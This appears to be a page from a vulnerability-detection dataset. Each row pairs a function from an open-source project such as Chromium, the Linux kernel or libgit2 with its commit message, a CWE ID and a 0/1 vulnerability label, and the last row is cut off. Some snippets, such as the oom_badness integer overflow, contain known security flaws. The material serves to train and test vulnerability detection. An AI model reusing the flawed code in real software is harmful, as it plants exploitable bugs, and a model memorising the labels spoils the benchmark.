instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: NO_INLINE JsVar *__jspeAssignmentExpression(JsVar *lhs) {
if (lex->tk=='=' || lex->tk==LEX_PLUSEQUAL || lex->tk==LEX_MINUSEQUAL ||
lex->tk==LEX_MULEQUAL || lex->tk==LEX_DIVEQUAL || lex->tk==LEX_MODEQUAL ||
lex->tk==LEX_ANDEQUAL || lex->tk==LEX_OREQUAL ||
lex->tk==LEX_XOREQUAL || lex->tk==LEX_RSHIFTEQUAL ||
lex->tk==LEX_LSHIFTEQUAL || lex->tk==LEX_RSHIFTUNSIGNEDEQUAL) {
JsVar *rhs;
int op = lex->tk;
JSP_ASSERT_MATCH(op);
rhs = jspeAssignmentExpression();
rhs = jsvSkipNameAndUnLock(rhs); // ensure we get rid of any references on the RHS
if (JSP_SHOULD_EXECUTE && lhs) {
if (op=='=') {
/* If we're assigning to this and we don't have a parent,
* add it to the symbol table root */
if (!jsvGetRefs(lhs) && jsvIsName(lhs)) {
if (!jsvIsArrayBufferName(lhs) && !jsvIsNewChild(lhs))
jsvAddName(execInfo.root, lhs);
}
jspReplaceWith(lhs, rhs);
} else {
if (op==LEX_PLUSEQUAL) op='+';
else if (op==LEX_MINUSEQUAL) op='-';
else if (op==LEX_MULEQUAL) op='*';
else if (op==LEX_DIVEQUAL) op='/';
else if (op==LEX_MODEQUAL) op='%';
else if (op==LEX_ANDEQUAL) op='&';
else if (op==LEX_OREQUAL) op='|';
else if (op==LEX_XOREQUAL) op='^';
else if (op==LEX_RSHIFTEQUAL) op=LEX_RSHIFT;
else if (op==LEX_LSHIFTEQUAL) op=LEX_LSHIFT;
else if (op==LEX_RSHIFTUNSIGNEDEQUAL) op=LEX_RSHIFTUNSIGNED;
if (op=='+' && jsvIsName(lhs)) {
JsVar *currentValue = jsvSkipName(lhs);
if (jsvIsString(currentValue) && !jsvIsFlatString(currentValue) && jsvGetRefs(currentValue)==1 && rhs!=currentValue) {
/* A special case for string += where this is the only use of the string
* and we're not appending to ourselves. In this case we can do a
* simple append (rather than clone + append)*/
JsVar *str = jsvAsString(rhs, false);
jsvAppendStringVarComplete(currentValue, str);
jsvUnLock(str);
op = 0;
}
jsvUnLock(currentValue);
}
if (op) {
/* Fallback which does a proper add */
JsVar *res = jsvMathsOpSkipNames(lhs,rhs,op);
jspReplaceWith(lhs, res);
jsvUnLock(res);
}
}
}
jsvUnLock(rhs);
}
return lhs;
}
Commit Message: Fix bug if using an undefined member of an object for for..in (fix #1437)
CWE ID: CWE-125
| 1
| 169,207
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChangePosixFilePermissions(const FilePath& path,
int mode_bits_to_set,
int mode_bits_to_clear) {
ASSERT_FALSE(mode_bits_to_set & mode_bits_to_clear)
<< "Can't set and clear the same bits.";
int mode = 0;
ASSERT_TRUE(file_util::GetPosixFilePermissions(path, &mode));
mode |= mode_bits_to_set;
mode &= ~mode_bits_to_clear;
ASSERT_TRUE(file_util::SetPosixFilePermissions(path, mode));
}
Commit Message: Fix creating target paths in file_util_posix CopyDirectory.
BUG=167840
Review URL: https://chromiumcodereview.appspot.com/11773018
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176659 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-22
| 0
| 115,427
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ih264d_unpack_coeff4x4_dc_4x4blk(tu_sblk4x4_coeff_data_t *ps_tu_4x4,
WORD16 *pi2_out_coeff_data,
UWORD8 *pu1_inv_scan)
{
UWORD16 u2_sig_coeff_map = ps_tu_4x4->u2_sig_coeff_map;
WORD32 idx;
WORD16 *pi2_coeff_data = &ps_tu_4x4->ai2_level[0];
while(u2_sig_coeff_map)
{
idx = CLZ(u2_sig_coeff_map);
idx = 31 - idx;
RESET_BIT(u2_sig_coeff_map,idx);
idx = pu1_inv_scan[idx];
pi2_out_coeff_data[idx] = *pi2_coeff_data++;
}
}
Commit Message: Decoder: Fixed error handling for dangling fields
In case of dangling fields with gaps in frames enabled,
field pic in cur_slice was wrongly set to 0.
This would cause dangling field to be concealed as a frame, which would
result in a number of MB mismatch and hence a hang.
Bug: 34097672
Change-Id: Ia9b7f72c4676188c45790b2dfbb4fe2c2d2c01f8
(cherry picked from commit 1a13168ca3510ba91274d10fdee46b3642cc9554)
CWE ID: CWE-119
| 0
| 162,556
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: unsigned int oom_badness(struct task_struct *p, struct mem_cgroup *mem,
const nodemask_t *nodemask, unsigned long totalpages)
{
int points;
if (oom_unkillable_task(p, mem, nodemask))
return 0;
p = find_lock_task_mm(p);
if (!p)
return 0;
/*
* Shortcut check for a thread sharing p->mm that is OOM_SCORE_ADJ_MIN
* so the entire heuristic doesn't need to be executed for something
* that cannot be killed.
*/
if (atomic_read(&p->mm->oom_disable_count)) {
task_unlock(p);
return 0;
}
/*
* The memory controller may have a limit of 0 bytes, so avoid a divide
* by zero, if necessary.
*/
if (!totalpages)
totalpages = 1;
/*
* The baseline for the badness score is the proportion of RAM that each
* task's rss, pagetable and swap space use.
*/
points = get_mm_rss(p->mm) + p->mm->nr_ptes;
points += get_mm_counter(p->mm, MM_SWAPENTS);
points *= 1000;
points /= totalpages;
task_unlock(p);
/*
* Root processes get 3% bonus, just like the __vm_enough_memory()
* implementation used by LSMs.
*/
if (has_capability_noaudit(p, CAP_SYS_ADMIN))
points -= 30;
/*
* /proc/pid/oom_score_adj ranges from -1000 to +1000 such that it may
* either completely disable oom killing or always prefer a certain
* task.
*/
points += p->signal->oom_score_adj;
/*
* Never return 0 for an eligible task that may be killed since it's
* possible that no single user task uses more than 0.1% of memory and
* no single admin tasks uses more than 3.0%.
*/
if (points <= 0)
return 1;
return (points < 1000) ? points : 1000;
}
Commit Message: oom: fix integer overflow of points in oom_badness
commit ff05b6f7ae762b6eb464183eec994b28ea09f6dd upstream.
An integer overflow will happen on 64bit archs if task's sum of rss,
swapents and nr_ptes exceeds (2^31)/1000 value. This was introduced by
commit
f755a04 oom: use pte pages in OOM score
where the oom score computation was divided into several steps and it's no
longer computed as one expression in unsigned long(rss, swapents, nr_pte
are unsigned long), where the result value assigned to points(int) is in
range(1..1000). So there could be an int overflow while computing
176 points *= 1000;
and points may have negative value. Meaning the oom score for a mem hog task
will be one.
196 if (points <= 0)
197 return 1;
For example:
[ 3366] 0 3366 35390480 24303939 5 0 0 oom01
Out of memory: Kill process 3366 (oom01) score 1 or sacrifice child
Here the oom1 process consumes more than 24303939(rss)*4096~=92GB physical
memory, but it's oom score is one.
In this situation the mem hog task is skipped and oom killer kills another and
most probably innocent task with oom score greater than one.
The points variable should be of type long instead of int to prevent the
int overflow.
Signed-off-by: Frantisek Hrbata <fhrbata@redhat.com>
Acked-by: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Acked-by: Oleg Nesterov <oleg@redhat.com>
Acked-by: David Rientjes <rientjes@google.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
CWE ID: CWE-189
| 1
| 165,740
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ptaGetPt(PTA *pta,
l_int32 index,
l_float32 *px,
l_float32 *py)
{
PROCNAME("ptaGetPt");
if (px) *px = 0;
if (py) *py = 0;
if (!pta)
return ERROR_INT("pta not defined", procName, 1);
if (index < 0 || index >= pta->n)
return ERROR_INT("invalid index", procName, 1);
if (px) *px = pta->x[index];
if (py) *py = pta->y[index];
return 0;
}
Commit Message: Security fixes: expect final changes for release 1.75.3.
* Fixed a debian security issue with fscanf() reading a string with
possible buffer overflow.
* There were also a few similar situations with sscanf().
CWE ID: CWE-119
| 0
| 84,175
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: CaptureGroupNameSSLSocketPool::CaptureGroupNameSocketPool(
HostResolver* /* host_resolver */,
CertVerifier* cert_verifier)
: SSLClientSocketPool(0,
0,
cert_verifier,
NULL,
NULL,
NULL,
NULL,
std::string(),
NULL,
NULL,
NULL,
NULL,
NULL,
NULL) {
}
Commit Message: Implicitly bypass localhost when proxying requests.
This aligns Chrome's behavior with the Windows and macOS proxy resolvers (but not Firefox).
Concretely:
* localhost names (as determined by net::IsLocalhost) now implicitly bypass the proxy
* link-local IP addresses implicitly bypass the proxy
The implicit rules are handled by ProxyBypassRules, and it is possible to override them when manually configuring proxy settings (but not when using PAC or auto-detect).
This change also adds support for the "<-loopback>" proxy bypass rule, with similar semantics as it has on Windows (removes the implicit bypass rules for localhost and link-local).
The compatibility risk of this change should be low as proxying through localhost was not universally supported. It is however an idiom used in testing (a number of our own tests had such a dependency). Impacted users can use the "<-loopback>" bypass rule as a workaround.
Bug: 413511, 899126, 901896
Change-Id: I263ca21ef9f12d4759a20cb4751dc3261bda6ac0
Reviewed-on: https://chromium-review.googlesource.com/c/1303626
Commit-Queue: Eric Roman <eroman@chromium.org>
Reviewed-by: Dominick Ng <dominickn@chromium.org>
Reviewed-by: Tarun Bansal <tbansal@chromium.org>
Reviewed-by: Matt Menke <mmenke@chromium.org>
Reviewed-by: Sami Kyöstilä <skyostil@chromium.org>
Cr-Commit-Position: refs/heads/master@{#606112}
CWE ID: CWE-20
| 0
| 144,779
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GetDeviceSupportedFormats() {
const base::Callback<void(const media::VideoCaptureFormats&)>
callback = base::Bind(
&VideoCaptureImplTest::OnDeviceSupportedFormats,
base::Unretained(this));
video_capture_impl_->GetDeviceSupportedFormats(callback);
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
| 0
| 149,399
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int file_read(jas_stream_obj_t *obj, char *buf, int cnt)
{
jas_stream_fileobj_t *fileobj;
JAS_DBGLOG(100, ("file_read(%p, %p, %d)\n", obj, buf, cnt));
fileobj = JAS_CAST(jas_stream_fileobj_t *, obj);
return read(fileobj->fd, buf, cnt);
}
Commit Message: The generation of the configuration file jas_config.h has been completely
reworked in order to avoid pollution of the global namespace.
Some problematic types like uchar, ulong, and friends have been replaced
with names with a jas_ prefix.
An option max_samples has been added to the BMP and JPEG decoders to
restrict the maximum size of image that they can decode. This change
was made as a (possibly temporary) fix to address security concerns.
A max_samples command-line option has also been added to imginfo.
Whether an image component (for jas_image_t) is stored in memory or on
disk is now based on the component size (rather than the image size).
Some debug log message were added.
Some new integer overflow checks were added.
Some new safe integer add/multiply functions were added.
More pre-C99 cruft was removed. JasPer has numerous "hacks" to
handle pre-C99 compilers. JasPer now assumes C99 support. So, this
pre-C99 cruft is unnecessary and can be removed.
The regression jasper-doublefree-mem_close.jpg has been re-enabled.
Theoretically, it should work more predictably now.
CWE ID: CWE-190
| 0
| 72,789
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void pong()
{
EXPECT_TRUE(isMainThread());
webkit_support::QuitMessageLoop();
}
Commit Message: [chromium] Fix shutdown race when posting main thread task to CCThreadProxy and enable tests
https://bugs.webkit.org/show_bug.cgi?id=70161
Reviewed by David Levin.
Source/WebCore:
Adds a weak pointer mechanism to cancel main thread tasks posted to CCThreadProxy instances from the compositor
thread. Previously there was a race condition where main thread tasks could run even after the CCThreadProxy was
destroyed.
This race does not exist in the other direction because when tearing down a CCThreadProxy we first post a quit
task to the compositor thread and then suspend execution of the main thread until all compositor tasks for the
CCThreadProxy have been drained.
Covered by the now-enabled CCLayerTreeHostTest* unit tests.
* WebCore.gypi:
* platform/graphics/chromium/cc/CCScopedMainThreadProxy.h: Added.
(WebCore::CCScopedMainThreadProxy::create):
(WebCore::CCScopedMainThreadProxy::postTask):
(WebCore::CCScopedMainThreadProxy::shutdown):
(WebCore::CCScopedMainThreadProxy::CCScopedMainThreadProxy):
(WebCore::CCScopedMainThreadProxy::runTaskIfNotShutdown):
* platform/graphics/chromium/cc/CCThreadProxy.cpp:
(WebCore::CCThreadProxy::CCThreadProxy):
(WebCore::CCThreadProxy::~CCThreadProxy):
(WebCore::CCThreadProxy::createBeginFrameAndCommitTaskOnCCThread):
* platform/graphics/chromium/cc/CCThreadProxy.h:
Source/WebKit/chromium:
Enables the CCLayerTreeHostTest* tests by default. Most tests are run twice in a single thread and multiple
thread configuration. Some tests run only in the multiple thread configuration if they depend on the compositor
thread scheduling draws by itself.
* tests/CCLayerTreeHostTest.cpp:
(::CCLayerTreeHostTest::timeout):
(::CCLayerTreeHostTest::clearTimeout):
(::CCLayerTreeHostTest::CCLayerTreeHostTest):
(::CCLayerTreeHostTest::onEndTest):
(::CCLayerTreeHostTest::TimeoutTask::TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::clearTest):
(::CCLayerTreeHostTest::TimeoutTask::~TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::Run):
(::CCLayerTreeHostTest::runTest):
(::CCLayerTreeHostTest::doBeginTest):
(::CCLayerTreeHostTestThreadOnly::runTest):
(::CCLayerTreeHostTestSetNeedsRedraw::commitCompleteOnCCThread):
git-svn-id: svn://svn.chromium.org/blink/trunk@97784 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 97,921
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void NormalPage::checkAndMarkPointer(Visitor* visitor,
Address address,
MarkedPointerCallbackForTesting callback) {
DCHECK(contains(address));
HeapObjectHeader* header = findHeaderFromAddress(address);
if (!header)
return;
if (!callback(header))
markPointer(visitor, header);
}
Commit Message: Call HeapObjectHeader::checkHeader solely for its side-effect.
This requires changing its signature. This is a preliminary stage to making it
private.
BUG=633030
Review-Url: https://codereview.chromium.org/2698673003
Cr-Commit-Position: refs/heads/master@{#460489}
CWE ID: CWE-119
| 0
| 147,543
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: base::FilePath DriveFsHost::GetDataPath() const {
return profile_path_.Append(kDataPath).Append(
delegate_->GetObfuscatedAccountId());
}
Commit Message: Add keepalive support to drivefs API
In some situations mounting drivefs may take very long time. To
distinguish it from a total hang we send periodic keepalives from drivefs.
BUG=chromium:899746
Change-Id: Iee906651557a8f8eab62d58298f33c7c3e61724e
Reviewed-on: https://chromium-review.googlesource.com/c/1305253
Commit-Queue: Sergei Datsenko <dats@chromium.org>
Reviewed-by: Sam McNally <sammc@chromium.org>
Cr-Commit-Position: refs/heads/master@{#603732}
CWE ID:
| 0
| 143,014
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int git_index_add_bypath(git_index *index, const char *path)
{
git_index_entry *entry = NULL;
int ret;
assert(index && path);
if ((ret = index_entry_init(&entry, index, path)) == 0)
ret = index_insert(index, &entry, 1, false, false, true);
/* If we were given a directory, let's see if it's a submodule */
if (ret < 0 && ret != GIT_EDIRECTORY)
return ret;
if (ret == GIT_EDIRECTORY) {
git_submodule *sm;
git_error_state err;
giterr_state_capture(&err, ret);
ret = git_submodule_lookup(&sm, INDEX_OWNER(index), path);
if (ret == GIT_ENOTFOUND)
return giterr_state_restore(&err);
giterr_state_free(&err);
/*
* EEXISTS means that there is a repository at that path, but it's not known
* as a submodule. We add its HEAD as an entry and don't register it.
*/
if (ret == GIT_EEXISTS) {
if ((ret = add_repo_as_submodule(&entry, index, path)) < 0)
return ret;
if ((ret = index_insert(index, &entry, 1, false, false, true)) < 0)
return ret;
} else if (ret < 0) {
return ret;
} else {
ret = git_submodule_add_to_index(sm, false);
git_submodule_free(sm);
return ret;
}
}
/* Adding implies conflict was resolved, move conflict entries to REUC */
if ((ret = index_conflict_to_reuc(index, path)) < 0 && ret != GIT_ENOTFOUND)
return ret;
git_tree_cache_invalidate_path(index->tree, entry->path);
return 0;
}
Commit Message: index: convert `read_entry` to return entry size via an out-param
The function `read_entry` does not conform to our usual coding style of
returning stuff via the out parameter and to use the return value for
reporting errors. Due to most of our code conforming to that pattern, it
has become quite natural for us to actually return `-1` in case there is
any error, which has also slipped in with commit 5625d86b9 (index:
support index v4, 2016-05-17). As the function returns an `size_t` only,
though, the return value is wrapped around, causing the caller of
`read_tree` to continue with an invalid index entry. Ultimately, this
can lead to a double-free.
Improve code and fix the bug by converting the function to return the
index entry size via an out parameter and only using the return value to
indicate errors.
Reported-by: Krishna Ram Prakash R <krp@gtux.in>
Reported-by: Vivek Parikh <viv0411.parikh@gmail.com>
CWE ID: CWE-415
| 0
| 83,657
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: fbCombineOutReverseC (CARD32 *dest, CARD32 *src, CARD32 *mask, int width)
{
int i;
for (i = 0; i < width; ++i) {
CARD32 s = READ(src + i);
CARD32 m = READ(mask + i);
CARD32 a;
fbCombineMaskAlphaC (&s, &m);
a = ~m;
if (a != 0xffffffff)
{
CARD32 d = 0;
if (a)
{
d = READ(dest + i);
FbByteMulC(d, a);
}
WRITE(dest + i, d);
}
}
}
Commit Message:
CWE ID: CWE-189
| 0
| 11,388
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual void FillHistogram(HistogramBase* histogram) {}
Commit Message: Convert DCHECKs to CHECKs for histogram types
When a histogram is looked up by name, there is currently a DCHECK that
verifies the type of the stored histogram matches the expected type.
A mismatch represents a significant problem because the returned
HistogramBase is cast to a Histogram in ValidateRangeChecksum,
potentially causing a crash.
This CL converts the DCHECK to a CHECK to prevent the possibility of
type confusion in release builds.
BUG=651443
R=isherman@chromium.org
Review-Url: https://codereview.chromium.org/2381893003
Cr-Commit-Position: refs/heads/master@{#421929}
CWE ID: CWE-476
| 0
| 140,039
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderWidgetHostViewGtk::Blur() {
host_->Blur();
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 114,927
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int sctp_get_port(struct sock *sk, unsigned short snum)
{
union sctp_addr addr;
struct sctp_af *af = sctp_sk(sk)->pf->af;
/* Set up a dummy address struct from the sk. */
af->from_sk(&addr, sk);
addr.v4.sin_port = htons(snum);
/* Note: sk->sk_num gets filled in if ephemeral port request. */
return !!sctp_get_port_local(sk, &addr);
}
Commit Message: sctp: fix ASCONF list handling
->auto_asconf_splist is per namespace and mangled by functions like
sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization.
Also, the call to inet_sk_copy_descendant() was backuping
->auto_asconf_list through the copy but was not honoring
->do_auto_asconf, which could lead to list corruption if it was
different between both sockets.
This commit thus fixes the list handling by using ->addr_wq_lock
spinlock to protect the list. A special handling is done upon socket
creation and destruction for that. Error handlig on sctp_init_sock()
will never return an error after having initialized asconf, so
sctp_destroy_sock() can be called without addrq_wq_lock. The lock now
will be take on sctp_close_sock(), before locking the socket, so we
don't do it in inverse order compared to sctp_addr_wq_timeout_handler().
Instead of taking the lock on sctp_sock_migrate() for copying and
restoring the list values, it's preferred to avoid rewritting it by
implementing sctp_copy_descendant().
Issue was found with a test application that kept flipping sysctl
default_auto_asconf on and off, but one could trigger it by issuing
simultaneous setsockopt() calls on multiple sockets or by
creating/destroying sockets fast enough. This is only triggerable
locally.
Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).")
Reported-by: Ji Jianwen <jiji@redhat.com>
Suggested-by: Neil Horman <nhorman@tuxdriver.com>
Suggested-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362
| 0
| 43,530
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: handle_barrier_request(struct ofconn *ofconn, const struct ofp_header *oh)
{
struct ofpbuf *buf;
buf = ofpraw_alloc_reply((oh->version == OFP10_VERSION
? OFPRAW_OFPT10_BARRIER_REPLY
: OFPRAW_OFPT11_BARRIER_REPLY), oh, 0);
ofconn_send_reply(ofconn, buf);
return 0;
}
Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
CWE ID: CWE-617
| 0
| 77,233
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool BB_isspace(CHAR_T c) { return ((unsigned)c < 256 && isspace(c)); }
Commit Message:
CWE ID: CWE-94
| 0
| 1,437
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int snd_seq_kernel_client_ctl(int clientid, unsigned int cmd, void *arg)
{
const struct ioctl_handler *handler;
struct snd_seq_client *client;
client = clientptr(clientid);
if (client == NULL)
return -ENXIO;
for (handler = ioctl_handlers; handler->cmd > 0; ++handler) {
if (handler->cmd == cmd)
return handler->func(client, arg);
}
pr_debug("ALSA: seq unknown ioctl() 0x%x (type='%c', number=0x%02x)\n",
cmd, _IOC_TYPE(cmd), _IOC_NR(cmd));
return -ENOTTY;
}
Commit Message: ALSA: seq: Fix use-after-free at creating a port
There is a potential race window opened at creating and deleting a
port via ioctl, as spotted by fuzzing. snd_seq_create_port() creates
a port object and returns its pointer, but it doesn't take the
refcount, thus it can be deleted immediately by another thread.
Meanwhile, snd_seq_ioctl_create_port() still calls the function
snd_seq_system_client_ev_port_start() with the created port object
that is being deleted, and this triggers use-after-free like:
BUG: KASAN: use-after-free in snd_seq_ioctl_create_port+0x504/0x630 [snd_seq] at addr ffff8801f2241cb1
=============================================================================
BUG kmalloc-512 (Tainted: G B ): kasan: bad access detected
-----------------------------------------------------------------------------
INFO: Allocated in snd_seq_create_port+0x94/0x9b0 [snd_seq] age=1 cpu=3 pid=4511
___slab_alloc+0x425/0x460
__slab_alloc+0x20/0x40
kmem_cache_alloc_trace+0x150/0x190
snd_seq_create_port+0x94/0x9b0 [snd_seq]
snd_seq_ioctl_create_port+0xd1/0x630 [snd_seq]
snd_seq_do_ioctl+0x11c/0x190 [snd_seq]
snd_seq_ioctl+0x40/0x80 [snd_seq]
do_vfs_ioctl+0x54b/0xda0
SyS_ioctl+0x79/0x90
entry_SYSCALL_64_fastpath+0x16/0x75
INFO: Freed in port_delete+0x136/0x1a0 [snd_seq] age=1 cpu=2 pid=4717
__slab_free+0x204/0x310
kfree+0x15f/0x180
port_delete+0x136/0x1a0 [snd_seq]
snd_seq_delete_port+0x235/0x350 [snd_seq]
snd_seq_ioctl_delete_port+0xc8/0x180 [snd_seq]
snd_seq_do_ioctl+0x11c/0x190 [snd_seq]
snd_seq_ioctl+0x40/0x80 [snd_seq]
do_vfs_ioctl+0x54b/0xda0
SyS_ioctl+0x79/0x90
entry_SYSCALL_64_fastpath+0x16/0x75
Call Trace:
[<ffffffff81b03781>] dump_stack+0x63/0x82
[<ffffffff81531b3b>] print_trailer+0xfb/0x160
[<ffffffff81536db4>] object_err+0x34/0x40
[<ffffffff815392d3>] kasan_report.part.2+0x223/0x520
[<ffffffffa07aadf4>] ? snd_seq_ioctl_create_port+0x504/0x630 [snd_seq]
[<ffffffff815395fe>] __asan_report_load1_noabort+0x2e/0x30
[<ffffffffa07aadf4>] snd_seq_ioctl_create_port+0x504/0x630 [snd_seq]
[<ffffffffa07aa8f0>] ? snd_seq_ioctl_delete_port+0x180/0x180 [snd_seq]
[<ffffffff8136be50>] ? taskstats_exit+0xbc0/0xbc0
[<ffffffffa07abc5c>] snd_seq_do_ioctl+0x11c/0x190 [snd_seq]
[<ffffffffa07abd10>] snd_seq_ioctl+0x40/0x80 [snd_seq]
[<ffffffff8136d433>] ? acct_account_cputime+0x63/0x80
[<ffffffff815b515b>] do_vfs_ioctl+0x54b/0xda0
.....
We may fix this in a few different ways, and in this patch, it's fixed
simply by taking the refcount properly at snd_seq_create_port() and
letting the caller unref the object after use. Also, there is another
potential use-after-free by sprintf() call in snd_seq_create_port(),
and this is moved inside the lock.
This fix covers CVE-2017-15265.
Reported-and-tested-by: Michael23 Yu <ycqzsy@gmail.com>
Suggested-by: Linus Torvalds <torvalds@linux-foundation.org>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-416
| 0
| 60,612
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ExtensionService::IsDownloadFromMiniGallery(const GURL& download_url) {
return StartsWithASCII(download_url.spec(),
extension_urls::kMiniGalleryDownloadPrefix,
false); // case_sensitive
}
Commit Message: Limit extent of webstore app to just chrome.google.com/webstore.
BUG=93497
TEST=Try installing extensions and apps from the webstore, starting both being
initially logged in, and not.
Review URL: http://codereview.chromium.org/7719003
